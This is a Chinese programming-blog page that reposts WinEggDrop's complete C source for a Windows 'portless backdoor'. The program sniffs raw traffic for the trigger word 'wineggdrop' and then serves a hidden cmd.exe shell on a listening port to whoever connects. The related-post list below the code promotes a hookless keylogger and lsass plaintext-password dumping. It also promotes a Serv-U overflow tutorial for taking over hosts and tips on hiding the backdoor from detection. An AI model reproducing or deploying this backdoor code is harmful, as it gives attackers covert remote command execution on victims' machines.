WinEggDrop源代码

Kill TCP Connection源代码 //********************************************************************** // Version: V1.0 // Coder: WinEggDrop // Date Release: NULL // Purpose: Kill An Active TCP Connection // Test PlatForm: Win 2K 阅读详情
//**********************************************************************
// Version: V1.0
// Coder: WinEggDrop
// Date Release: NULL
// Purpose: To Demonstrate Some Portless Backdoor Technique
// Test PlatForm: Win 2K Pro And Server SP4
// Compiled On: LCC 3.0,May Compile On VC++ 6.0(Not Test Yet)
//**********************************************************************

 

#include <windows.h>
#include <stdio.h>
#include <winsock2.h>

// Some Structures To Define
#define  IP_HDRINCL        2
#define SIO_RCVALL         _WSAIOW(IOC_VENDOR,1)
#define MAX_PACK_LEN    65535
#define MAX_ADDR_LEN     16
#define MAX_HOSTNAME_LAN    255

typedef struct _iphdr
{
   unsigned char  h_lenver;
   unsigned char  tos;
   unsigned short total_len;
   unsigned short ident;
   unsigned short frag_and_flags;
   unsigned char  ttl;
   unsigned char  proto;
   unsigned short checksum;
   unsigned int   sourceIP;
   unsigned int   destIP;
}IP_HEADER;

typedef struct _tcphdr
{
   USHORT th_sport;
   USHORT th_dport;
   unsigned int  th_seq;
   unsigned int  th_ack;
   unsigned char th_lenres;
   unsigned char th_flag;
   USHORT th_win;
   USHORT th_sum;
   USHORT th_urp;
}TCP_HEADER;
// End Of Structure

// Global Variable
char SourceIPAddress[MAX_ADDR_LEN];    // Hold The Source IP(This Can Be Used To Do Reverse Connection)
int  BackDoorPort = 0;     // The Port Back Door Will Bind

// Function ProtoType Declaration
//------------------------------------------------------------------------------------------------------
BOOL   InitSocket();
BOOL   DoSniffing();
BOOL   DecodeIPPack(const char *Buffer,const int BufferSize);
BOOL   DecodeTCPPack(const char * TCPBuffer,const int BufferSize);
BOOL   IsWin2KOrAbove();
DWORD  WINAPI StartBackDoor(LPVOID Para);
BOOL   GetABackDoorShell(const SOCKET ListenSocket);
BOOL     SendSocket(const SOCKET ClientSocket,const char *Message);
unsigned int ReceiveMessageFromSocket(const SOCKET ClientSocket,char *Buffer,const int BufferSize);
//------------------------------------------------------------------------------------------------------
// End Of Fucntion ProtoType Declaration

// Main Function
int main(int argc,char *argv[])
{
 if (!IsWin2KOrAbove())    // This System Running This Program Is Not Win 2K Or Above
 {
    printf("The Program Must Run Under Win 2k Or Above OS/n");    // Display This Message
    return -1;    // Quit The Program
 }

 if (argc == 2)      // We Get Argument
    BackDoorPort = atoi(argv[1]);      // Argument One Is The Back Door's Port
 else    // No Argument
    BackDoorPort = 1982;      // Back Door's Port Will Be Defined On 1982

 if (!InitSocket())     // Fail To Initize Socket
 {
    printf("Fail To Start Up Winsock/n");    // Display Error Message
    return -1;    // Quit The Program
 }
 DoSniffing();    // Do Sniffing
 return 0;     // Quit The Program
}// End Of Main Function

//-------------------------------------------------------------------------
// Purpose: To Initize Socket
// Return Type: Boolean
// Parameters:  NULL
// This Is Too Simple,I Won't Comment It
//-------------------------------------------------------------------------
BOOL InitSocket()
{
 WSADATA data;
 WORD ver;

 ver = MAKEWORD(2,2);
 if (WSAStartup( ver, &data )!= 0 )
 {
     return FALSE;
 }
 return TRUE;
}// End Of InitSocket Function

//-------------------------------------------------------------------------
// Purpose: To Do None-Driver Sniffing
// Return Type: Boolean
// Parameters:  NULL
//-------------------------------------------------------------------------
BOOL DoSniffing()
{
 int Length=0;    // Variable To Hold The Receive Buffer Length
 char RecvBuf[MAX_PACK_LEN] = {0};     // Receive Buffer
 SOCKET SocketRaw = INVALID_SOCKET;    // Raw Socket

 SocketRaw = socket(AF_INET , SOCK_RAW , IPPROTO_IP);    // Create A Raw Socket
 if (SocketRaw == INVALID_SOCKET)      // Fail To Create A Raw Socket
 {
    printf("Fail To Create A Raw Socket/n");    // Display Error Message
    return FALSE;    // Return False
 }

 char FAR name[MAX_HOSTNAME_LAN];

 if (gethostname(name, MAX_HOSTNAME_LAN) == SOCKET_ERROR)      // Fail To Get The Host Name
 {
    printf("Fail To Get Host Name/n");    // Display Error Message
    closesocket(SocketRaw);      // Close The Raw Socket Created
    return FALSE;    // Return False
 }

 // The Below Is The NIC Stuff
 struct hostent FAR * pHostent;
 pHostent = (struct hostent * )malloc(sizeof(struct hostent));    // Allocate Hostent Buffer
 pHostent = gethostbyname(name);
 SOCKADDR_IN sa;
 sa.sin_family = AF_INET;     // That's Internet Related
 sa.sin_port = htons(0);      // Any Port Avariable On The OS
 if (pHostent->h_addr_list[0] != 0)    // We Only Check The First NIC
 {
    memcpy(&sa.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length);    // We Use The First NIC As The Sniffing Subject
 }
 else    // Well,The First NIC Is Not Valid
 {
    printf("Get Host By Name Fails/n");      // Display Error Message
    free(pHostent);     // Free The Hostent Buffer
    closesocket(SocketRaw);
    return FALSE;    // Return FALSE;
 }
 free(pHostent);     // Free The Hostent Buffer

 if (bind(SocketRaw, (PSOCKADDR)&sa, sizeof(sa)) == SOCKET_ERROR)    // Bind The Raw Socket On The First NIC,But Fails
 {
    printf("Fail To Bind/n");    // Display Error Message
    closesocket(SocketRaw);      // Close The Raw Socket
    return FALSE;    // Return False
 }

 // Forget About The Below A Few Lines,They Are Just A Static Routine To Do The None_Driver Sniffing(Some Sort Of Must-Have Codes)
 DWORD dwBufferLen[10] ;
 DWORD dwBufferInLen = 1 ;
 DWORD dwBytesReturned = 0 ;

 if (WSAIoctl(SocketRaw, SIO_RCVALL,&dwBufferInLen, sizeof(dwBufferInLen),&dwBufferLen, sizeof(dwBufferLen),&dwBytesReturned , NULL , NULL) == SOCKET_ERROR)
 {
    closesocket(SocketRaw);
    return FALSE;
 }

 while(TRUE)      // Sniffing Starts Here With Forever Loop
 {
    memset(RecvBuf, 0, sizeof(RecvBuf));     // Reset The Receive Buffer
     Length = recv(SocketRaw, RecvBuf, sizeof(RecvBuf), 0);    // Try To Receive Data
    if (Length == SOCKET_ERROR)     // Get Error As Receiving Data
    {
       printf("Fail To Receive Data/n");     // Display Error Message
       break;     // Leave The Loop
    }
    if (DecodeIPPack(RecvBuf,Length))     // Decode The Buffer Received,And The Active Code Is Found
    {
       printf("Bingo,The BackDoor Is Activated On Port %d/n",BackDoorPort);      //We Are Going To Activate The BackDoor
       DWORD dwThreadID;
       HANDLE BackDoorThread = CreateThread(NULL,0,&StartBackDoor,NULL,0,&dwThreadID);    // Create The Back Door Thread
       WaitForSingleObject(BackDoorThread,INFINITE);     // Wait Until The Back Door Ends
    }
 }

 closesocket(SocketRaw);      // Close The Raw Socket
 return TRUE;     // Return
}// End Of DoSniffing Function

//-------------------------------------------------------------------------
// Purpose: To Decode The IP Packer
// Return Type: Boolean
// Parameters:  1.const char *Buffer   -->The Received Buffer
//              2.Const int BufferSize -->The Received Buffer Size
//-------------------------------------------------------------------------
BOOL DecodeIPPack(const char *Buffer,const int BufferSize)
{
 IP_HEADER *pIpheader;     // IP Header
 SOCKADDR_IN saSource, saDest;
 pIpheader = (IP_HEADER *)Buffer;      // Transfer The Buffer Into IP Header Form
 int Protocol = pIpheader->proto;      // Get The Protocol
 if ((Protocol != IPPROTO_TCP))     // Not TCP Protocol
 {
    return FALSE;    // Return False Since We Only Interest In TCP Protocol
 }

 saSource.sin_addr.s_addr = pIpheader->sourceIP;
 strncpy(SourceIPAddress, inet_ntoa(saSource.sin_addr), MAX_ADDR_LEN);     // Get The Source IP(Important For Doing Reverse Connection)

 int IPLength = sizeof(unsigned long) * (pIpheader->h_lenver & 0xf);    // Get The IP Length
 return DecodeTCPPack(Buffer+IPLength, BufferSize);      // Decode TCP Packer
}// End Of DecodeIPPack Function

//-------------------------------------------------------------------------
// Purpose: To Decode The TCP Packer
// Return Type: Boolean
// Parameters:  1.const char *TCPBuffer  -->The TCP Buffer
//              2.Const int BufferSize   -->The TCP Buffer Size
//-------------------------------------------------------------------------
BOOL DecodeTCPPack(const char * TCPBuffer,const int BufferSize)
{
 TCP_HEADER * pTcpHeader;     // TCP Header
 int iSourcePort,iDestPort;      // Source Port And DestPort

 pTcpHeader = (TCP_HEADER * )TCPBuffer;      // Transfer The Buffer Into TCP Header Form
 int TcpHeaderLen =  pTcpHeader->th_lenres>>4;     // Get The TCP Leader Length
 TcpHeaderLen *= sizeof(unsigned long);
 char * TcpData=TCPBuffer+TcpHeaderLen;      // Get The TCP Data

 iSourcePort = ntohs(pTcpHeader->th_sport);     // Get The Source Port
 iDestPort = ntohs(pTcpHeader->th_dport);    // Get The Destination Port
 if (strstr(TcpData,"wineggdrop")!=NULL)     // If The TCP Data Contains A Word "wineggdrop"(The Active Code),Then Bingo
 {
    printf("%s:%d-->Local:%d/r/n",SourceIPAddress,iSourcePort,iDestPort);     // Display A Message
    return TRUE;     // Return TRUE(The Back Door Will Be Activated Soon)
 }
 return FALSE;    // We Didn't Receive An Active Code,Return False
}// End Of DecodeTCPPack Function

//-------------------------------------------------------------------------

 


 

// Purpose: To Check The OS
// Return Type: Boolean
// Parameters:  NULL
//-------------------------------------------------------------------------
BOOL IsWin2KOrAbove()
{
 OSVERSIONINFO OSVersionInfo;
 OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
 if (GetVersionEx(&OSVersionInfo))     // Get The OS Version
     return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) && (OSVersionInfo.dwMajorVersion == 5)); // Return Whether It's Win 2k Or Above OS
 else
    return FALSE;    // Fail To Get The OS Version,Just Return FALSE
}// End Of IsWin2KOrAbove Function

//--------------------------------------------------------------------------------
// Purpose: To Ease The Way To Send Data Through Socket
// Return Type: Boolean
// Parameters:  1.const SOCKET ClientSocket    --> The Socket To Send Message
//              2.const char *Message          --> Message To Send
//--------------------------------------------------------------------------------
BOOL SendSocket(const SOCKET ClientSocket,const char *Message)
{
 return (send(ClientSocket,Message,strlen(Message),0)!=SOCKET_ERROR);
}// End Of SendSocket

//--------------------------------------------------------------------------------
// Purpose: To Start The Back Door
// Return Type: DWORD
// Parameters:  LPVOID Para    --> Can Be AnyThing
//--------------------------------------------------------------------------------
DWORD WINAPI StartBackDoor(LPVOID Para)
{
 struct sockaddr_in srv;
 SOCKET ListenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);    // Create A TCP Socket

 if (ListenSocket == INVALID_SOCKET)      // Fail To Create A TCP Socket
 {
    printf("Fail To Create A BackDoor Socket/n");     // Display Error Message
    return -1;    // Return
 }

 srv.sin_family = AF_INET;    // Internet Related
 srv.sin_addr.s_addr = htonl(INADDR_ANY);    // Any Address
 srv.sin_port = htons(BackDoorPort);      // Back Door Port

 if (bind(ListenSocket,(const struct sockaddr *) &srv,sizeof(srv)) == INVALID_SOCKET)     // Fail To Bind The Socket
 {
    printf("Fail To Bind BackDoor Sokcet/n");      // Display Error Message
     closesocket(ListenSocket);     // Close The Socket
    return -1;    // Return
 }

 if (listen(ListenSocket,1) == INVALID_SOCKET)     // Fail To Listen On The Back Door's Port
 {
     printf("Fail To Listen/n");    // Display Error Message
     closesocket(ListenSocket);     // Close The Socket
    return -1;    // Return
 }

 SOCKET AcceptSocket = accept(ListenSocket, NULL,NULL);     // Accepting Connections
 if (AcceptSocket == INVALID_SOCKET)      // Fail To Accept Connection
 {
    printf("Fail To Accept Connection/n");      // Display Error Message
    closesocket(ListenSocket);      // Close The Socket
    return -1;    // Return
 }

 GetABackDoorShell(AcceptSocket);      // Get A CMD Shell
 closesocket(AcceptSocket);      // Close Accpeted Socket
 closesocket(ListenSocket);      // Close The Listen Socket
 return 0;     // Return
}// End Of StartBackDoor Function

//--------------------------------------------------------------------------------
// Purpose: To To The Shell Stuff
// Return Type: Boolean
// Parameters:  const SOCKET ListenSocket   --> The Client Connected Socket
//--------------------------------------------------------------------------------
BOOL GetABackDoorShell(const SOCKET ListenSocket)
{
 char ReceiveBuffer[MAX_PATH + 1];     // The Receive Buffer
 char SendBuffer[1024 * 4];      // The Send Buffer

 unsigned long OutputLength,InputLength;     // The Input And Output Length

 // The Pipe And Some Other Sutff
 HANDLE ClientReadPipe = NULL;
 HANDLE ClientWritePipe = NULL;
 HANDLE CmdWritePipe = NULL;
 HANDLE CmdReadPipe = NULL;

 SECURITY_ATTRIBUTES sa                 = {0};
 STARTUPINFO         si                 = {0};
 PROCESS_INFORMATION pi                 = {0};

 ZeroMemory(ReceiveBuffer,sizeof(ReceiveBuffer));

 if (GetSystemDirectory(ReceiveBuffer,MAX_PATH))      // Get System Directory
 {
    strcat(ReceiveBuffer,"//cmd.exe");    // Get The Cmd.exe Full Path
 }
 else    // Fail To Get System Directory
 {
    SendSocket(ListenSocket,"Fail To Get System Diretory/r/n");      // Display Error Message
    return FALSE;    // Return
 }

// Initize The Stuff
 sa.nLength = sizeof(sa);
 sa.bInheritHandle = TRUE;
 sa.lpSecurityDescriptor = NULL;
 memset(&pi,0,sizeof(pi));

 if (!CreatePipe(&ClientReadPipe,&CmdWritePipe,&sa,0))      // Fail To Create Client Read Pipe
 {
    SendSocket(ListenSocket,"Fail To Create Client Read Pipe/r/n");     // Display Error Message
    goto CleanUP;    // Leave
 }

 if (!CreatePipe(&CmdReadPipe,&ClientWritePipe,&sa,0))      // Fail To Create Cmd Read Pipe
 {
    SendSocket(ListenSocket,"Fail To Create CMD Read Pipe/r/n");     // Display Error Message
    goto CleanUP;    // Leave
 }

 // Reset And Initize Stuff
 memset((void *)&si,0,sizeof(si));
 memset((void *)&pi,0,sizeof(pi));
 si.cb = sizeof(si);
 si.dwFlags     = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
 si.wShowWindow = SW_HIDE;

 si.hStdInput = CmdReadPipe;     // Pass The CmdReadPipe To StdInput
 si.hStdError = CmdWritePipe;    // Pass The CmdWritePipe To StdError
 si.hStdOutput = CmdWritePipe;      // Pass The CmdWritePipe To StdOutput

 if (!CreateProcess(ReceiveBuffer,NULL,NULL,NULL,1,0,NULL, NULL,&si,&pi))     // Fail To Create A Cmd Shell Process
 {
    SendSocket(ListenSocket,"Fail To Create Process/r/n");     // Display Error Message
    goto CleanUP;    // Leave
 }

 while(TRUE)      // Shell Commincation Starts Here
 {
    if (!PeekNamedPipe(ClientReadPipe,SendBuffer,sizeof(SendBuffer),&OutputLength,NULL,NULL))      // Fail To Get Data From The Pipe
    {
       SendSocket(ListenSocket,"Fail To Peek Name Pipe/r/n");     // Display Error Message
         break;      // Leave
    }
     if (OutputLength > 0)    // Get Data From The Pipe Successfully
    {
       ZeroMemory(SendBuffer,sizeof(SendBuffer));     // Reset The Send Buffer
         if (!ReadFile(ClientReadPipe,SendBuffer,OutputLength,&OutputLength,0))     //Fail To Read The Data
       {
          SendSocket(ListenSocket,"Fail To Read File/r/n");    // Display Error Message
          break;     // Leave
       }
         if (send(ListenSocket,SendBuffer,OutputLength,0) == SOCKET_ERROR)    // Fail To Send The Data
       {
          printf("Fail To Send Buffer/n");      // Display Error Message
          break;     // Leave
       }
    }
    else
    {
       ZeroMemory(ReceiveBuffer,sizeof(ReceiveBuffer));     // Reset Receive Buffer
       InputLength = ReceiveMessageFromSocket(ListenSocket, ReceiveBuffer, sizeof(ReceiveBuffer));    // Receive Input From Client
       if (InputLength == SOCKET_ERROR)      // Fail To Receive Data
       {
          printf("Fail To Receive Buffer/n");      // Display Error Message
          break;     // Leave
       }

         if (!WriteFile(ClientWritePipe,ReceiveBuffer,InputLength,&InputLength,0))     // Fail To Write The Received Data To The Pipe
       {
          printf("Fail To Write File/n");    // Display Error Message
          break;     // Leave
       }

       // Leave The Shell
       if (strnicmp((char*)ReceiveBuffer, "exit/r/n", 6) == 0 || strnicmp((char*)ReceiveBuffer, "exit/r", 5)==0 || strnicmp((char*)ReceiveBuffer, "exit/n", 5)==0)
         break;
    }
 }

 // Clean All Resource Allocated
CleanUP:
        if (CmdReadPipe != NULL)
           CloseHandle(CmdReadPipe);
      if (CmdWritePipe != NULL)
           CloseHandle(CmdWritePipe);
      if (ClientReadPipe != NULL)
           CloseHandle(ClientReadPipe);
      if (ClientWritePipe)
           CloseHandle(ClientWritePipe);
  return TRUE;
}// End Of GetABackDoorShell Function

//--------------------------------------------------------------------------------
// Purpose: To Receive Data From Socket In A Custom-Defined Way
// Return Type: unsigned int
// Parameters: 1.const SOCKET ClientSocket   --> The Client Connected Socket
//             2.char *Buffer                --> Buffer To Hold Data Received
//             3.const int BufferSize        --> The Buffer Size
//--------------------------------------------------------------------------------
unsigned int ReceiveMessageFromSocket(const SOCKET ClientSocket,char *Buffer,const int BufferSize)
{
 ZeroMemory(Buffer,BufferSize);     // Reset The Buffer

 if (BufferSize < 2)    // Buffer Size Is Less Then 2
 {
     return 0;    // Dump
 }

 unsigned int CharacterCount = 0;

 while(TRUE)
 {
    if (CharacterCount >= BufferSize)     // The Characters Received Is Bigger Or Equal The Buffer Size
    {
       // Give The Buffer An Enter
       Buffer[BufferSize-2] = '/r';
       Buffer[BufferSize-1] = '/n';
         return CharacterCount;     // Return The Characters Received
    }

     if (recv(ClientSocket,Buffer+CharacterCount,1,0) == SOCKET_ERROR)     // Fail To Receive Data
    {
       return SOCKET_ERROR;      // Return Error
    }

     if (Buffer[CharacterCount] == '/b')     // Back Space Detected
    {
       Buffer[CharacterCount] = '/0';     // Skip It
         if (CharacterCount > 0)    // Characters Received Is Bigger Than 0
       {
          CharacterCount--;      // Decrease One Character
             Buffer[CharacterCount] = '/0';
       }
         continue;      // Begin A New Loop
    }

     if (Buffer[CharacterCount++] == '/n')      // Enter Is Detected
    {
       return CharacterCount;    // Return The Characters Received
    }
 }
 return 0;     // We Get Nothing,Return Zero
}// End Of ReceiveMessageFromSocket Function
// End Of File

 
用C++实现HTTP服务器 - 处理完成端口模型(IOCP)的超时问题 如何处理完成端口模型(IOCP)的超时问题. 作者: 阙荣文  2011/7/12 前言 完成端口(IOCP)是所有Windows I/O模型中最复杂,也是性能最好的一种.在关于IOCP的编程中,难点之一就是超时控制. 以下以HTTP服务器程序为例说一说. 其实超时控制也不是很难,问题是Windows的IOCP模型本身并没有提供关于超时的支持(也行以后的版本会有?),所以一切 阅读详情

相关推荐

WinEggDrop Shell使用方法动画教程

WinEggDrop Shell使用方法动画教程,只有动画演示教程。

古老的代码,但是绝对实用 一个小后门 WinEggDrop

//********************************************************************** // Version: V1.0 // Coder: WinEggDrop // Date Release: NULL // Purpose: To Demonstrate Some Portless Backdoor Technique // Test

Yatere的天平秤 2315

Tiny HTTP Proxy V1.0 By WinEggDrop

很简单的一个HTTP代理程序,功能不多,但程序非常小型.代理支持Get,Post和Connect三种Method. 由于是支持Connect Method,所以可以在新版的OICQ中做成HTTP代理连接,可以限制连接者的IP段. 在oicq,msn,mirc中测试过,都可以使用这个程序做的http代理做代理连接.

网络安全之后门程序

如果我们针对这些动作进行分析,则“开机时自动连上微软网站”的动作就是后门程序特性中的“潜伏”,而“将电脑现况报告”的动作是“搜集信息”。总体来讲,Wineggdrop shell是后门程序中很出彩的一个,它经过作者几次大规模的修改和升级,已经趋于稳定,功能的强大当然没得说,但是由于功能太强大,被查杀和怀疑是难以避免的,所以很多人在使用Wineggdrop shell一段时间后就发现肉鸡飞了,其实是很正常的事,我你出不用气馁,其实用很简单的方法就可以很好地提高它的隐蔽性,下文将有说明。

weixin_54048131的博客 1720

WinEggDrop v1.0 源代码

//**********************************************************************// Version: V1.0// Coder: WinEggDrop// Date Release: NULL// Purpose: To Demonstrate Some Portless Backdoor Technique// Test Plat

1430

一种检查rootkit的方法(wineggdrop)

rootkit本来一直都是*nix系统中流行的一种后门,但现在win下也开始流行rootkit了,由于rootkit一般具有隐藏自己的特性,所以并不是象一般后门那样可以轻易的找出来.现在win下最流行的后门是国外的那个hxdef,代码也已经发放了.hxdef一个不足是主程序在隐藏自己的进程上做得不好,已经有多种方法可以将它本身的隐藏进程查出来,但将来的rootkit会在隐藏进程方面做得更好,或者会

FreeXploiT 1710

serv-u溢出简单教程

之前的serv-u溢出真的是成功率100%。而且不知道有多少的机子被当成了肉机。 估计现在还有这类肉机。心情比较好。所以写了这篇文件。让大家学会如何去找一 台肉机练手。文章有破坏性。请不要破坏肉机上的东西。只做教学用。本教程只适合初级练手用。。高一级别的就不用看了。免得让人笑话。。 1,大家都知道WinEggDrop Shell后门是很强大的后门。有...

weixin_34289454的博客 636

WinEggDrop后门v1.0源代码

//**********************************************************************// Version: V1.0// Coder: WinEggDrop// Date Release: NULL// Purpose: To Demonstrate Some Portless Backdoor Technique// Test Plat

FreeXploiT 1612

纯正无毒无公害的S.Exe,S扫描器原版

纯正无毒无公害的S.Exe,S扫描器原版。DOS界面,一般的S扫描器都是给他加了个外壳。我也是在学易语言这一节课时,找到的资源!

[端口扫描]S扫描器跨网段扫描

最近看了下端口扫描,用了几款扫描器,nmap啊,x-sacn等。之前很少关注安全方面的东西,所以也比较菜。 其中有一款叫做 "S扫描器"的,扫描速度非常快,可以大网段的扫描,几十万个IP在机器和网络不错的情况下也只要几分钟就能扫完。 所以很多人用它来抓鸡。 具体的可以参考 360百科:http://baike.so.com/doc/5503821.html 下载的话大家可以去百度搜 我这里

orangleliu 笔记本 1万+

推荐 All In One(AIO) V1.0

 推荐 All In One(AIO) V1.0All In One(AIO) V1.0 Build 06/10/2006 By WinEggDrop(www.ph4nt0m.org)这是一个将很多小工具功能集成一体的一个"工具".(如果你使用的是Build 04/01/2006版本,那版本中的syn扫描因编译时原因有些问题,请更新为Build 06/10/2006版本)功能:1.

HeiTaoJieKe的专栏 1154

Aio.exe用法

All In One(AIO) V1.0 Build 06/10/2006 By WinEggDrop 这是一个将很多小工具功能集成一体的一个"工具". (如果你使用的是Build 04/01/2006版本,那版本中的syn扫描因编译时原因有些问题,请更新为Build 06/10/2006版本) 功能: 1.AutoRun -> 查看一般登陆后启动的项 用法:Aio.exe -AutoRun 2.Clone -> 克隆帐户

收集盒 Book box 1532

无钩子的键盘记录例子 神人 WinEggDrop作品

//********************************************************************** // Version: V1.0 // Coder: WinEggDrop // Date Release: NULL // Purpose: Hookless Keylogger // Test PlatForm: Win 2K Pro And Ser

Yatere的天平秤 1623

转载kernet的永恒国度——XP 和2003的Lsass进程中明文密码

用Winhex读取XP和2003下的Lsass进程的内存数据,可以读取当前登录用户的明文密码.source code://********************************************************************************// Version: V1.0// Coder: WinEggDrop// Date Release: 12/15/

cb的专栏 1388
上一篇: 另类调试方法
下一篇: Windows系统编程之进程间通信
iiprogram
博客等级 码龄25年 1066粉丝 1515原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值